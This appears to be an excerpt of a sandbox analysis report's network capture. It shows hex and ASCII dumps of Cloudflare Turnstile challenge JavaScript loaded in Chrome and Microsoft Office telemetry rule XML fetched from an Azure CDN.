2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e Data Ascii: archParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params.
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4c 28 43 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 4e 72 2c 28 66 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 66 21 3d 3d 76 6f 69 64 20 30 3f 66 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 Data Ascii: ===Se.FAILURE_HAVING_TROUBLES,l,g=L(Cr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(Nr,(f=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&f!==void 0?f:"nonexistent")
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 67 26 26 4a 28 73 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 Data Ascii: uct:Ie=function(c,l,g){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return g&&J(s,g.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function(a){return a.__proto__\|\|Object
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 55 28 72 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 Data Ascii: flare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Tt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(U(r,HTMLScriptElement)&&e.test(r
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 73 2e 69 64 3d Data Ascii: f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.className="cf-turnstile-feedback",s.id=

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49741	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195309Z-1657d5bbd48vhs7r2p1ky7cs5w000000047000000000n8g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49744	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195309Z-1657d5bbd48t66tjar5xuq22r800000003tg00000000zzew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49743	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195309Z-1657d5bbd48sqtlf1huhzuwq7000000003q000000000dx69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:09 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49742	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195309Z-1657d5bbd482lxwq1dp2t1zwkc00000003n000000000s5ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49745	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195309Z-1657d5bbd482krtfgrg72dfbtn00000003tg000000000z17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:09 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49748	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:09 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf06f880e728cca&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:09 UTC	301	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:09 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 129641 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cf06f8c3dffc470-EWR
2024-10-07 19:53:09 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e Data Ascii: ated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamen
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 74 28 67 48 28 37 34 30 29 29 2f 31 31 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 37 31 35 38 32 32 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 39 34 33 29 5d 2c 65 4f 3d 5b 5d 2c 65 50 3d 30 3b 32 35 36 3e 65 50 3b 65 4f 5b 65 50 5d 3d 53 74 72 69 6e 67 5b 67 49 28 35 39 37 29 5d 28 65 50 29 2c 65 50 2b 2b 29 3b 67 47 3d 28 65 51 3d 28 30 2c 65 76 61 6c 29 28 67 49 28 36 30 39 29 29 2c 65 52 3d 61 74 6f 62 28 67 49 28 31 34 30 36 29 29 2c 65 4d 5b 67 49 28 36 37 30 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 49 28 31 32 32 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 77 29 7b 69 Data Ascii: t(gH(740))/11),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,715822),eM=this\|\|self,eN=eM[gI(943)],eO=[],eP=0;256>eP;eO[eP]=String[gI(597)](eP),eP++);gG=(eQ=(0,eval)(gI(609)),eR=atob(gI(1406)),eM[gI(670)]=![],eM[gI(1222)]=function(hw){i
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 28 37 38 30 29 2c 47 29 5b 68 55 28 31 39 37 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 48 2c 68 56 29 7b 72 65 74 75 72 6e 20 68 56 3d 68 55 2c 47 5b 68 56 28 31 32 32 31 29 5d 28 6e 65 77 20 43 28 48 29 29 5b 68 56 28 37 38 36 29 5d 28 49 3d 3e 49 5b 68 56 28 31 32 38 38 29 5d 28 31 36 29 5b 68 56 28 35 33 36 29 5d 28 32 2c 27 30 27 29 29 5b 68 56 28 31 38 35 33 29 5d 28 27 27 29 7d 29 5b 68 55 28 36 37 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 57 29 7b 72 65 74 75 72 6e 20 68 57 3d 68 55 2c 69 5b 68 57 28 31 37 38 36 29 5d 28 47 2c 43 28 44 29 29 7d 29 3b 65 6c 73 65 20 66 6f 72 28 6a 3d 69 5b 68 55 28 31 30 39 30 29 5d 5b 68 55 28 31 39 32 39 29 5d 28 27 7c 27 29 2c 6b 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6a 5b 6b 2b 2b 5d 29 7b 63 61 73 65 Data Ascii: (780),G)[hU(1972)](function(H,hV){return hV=hU,G[hV(1221)](new C(H))[hV(786)](I=>I[hV(1288)](16)[hV(536)](2,'0'))[hV(1853)]('')})[hU(679)](function(hW){return hW=hU,i[hW(1786)](G,C(D))});else for(j=i[hU(1090)][hU(1929)]('\|'),k=0;!![];){switch(j[k++]){case
2024-10-07 19:53:09 UTC	1369	IN	Data Raw: 6e 20 6e 2b 6f 7d 2c 69 5b 68 58 28 39 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 68 58 28 31 32 39 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 68 58 28 36 33 35 29 5d 3d 68 58 28 39 39 34 29 2c 69 5b 68 58 28 31 36 34 31 29 5d 3d 68 58 28 39 34 31 29 2c 6a 3d 69 2c 6b 3d 64 5b 68 58 28 34 33 31 29 5d 28 29 2c 6c 3d 68 58 28 31 31 32 35 29 2c 6a 5b 68 58 28 39 30 38 29 5d 28 6b 5b 68 58 28 31 37 33 33 29 5d 28 6c 29 2c 2d 31 29 29 3f 65 4d 5b 68 58 28 31 35 32 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 59 29 7b 68 59 3d 68 58 2c 65 4d 5b 68 59 28 31 39 36 32 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6d 3d 5b 6a 5b 68 58 28 31 38 35 34 29 5d 28 68 58 28 31 Data Ascii: n n+o},i[hX(963)]=function(n,o){return n+o},i[hX(1295)]=function(n,o){return n+o},i[hX(635)]=hX(994),i[hX(1641)]=hX(941),j=i,k=d[hX(431)](),l=hX(1125),j[hX(908)](k[hX(1733)](l),-1))?eM[hX(1529)](function(hY){hY=hX,eM[hY(1962)]()},1e3):(m=[j[hX(1854)](hX(1
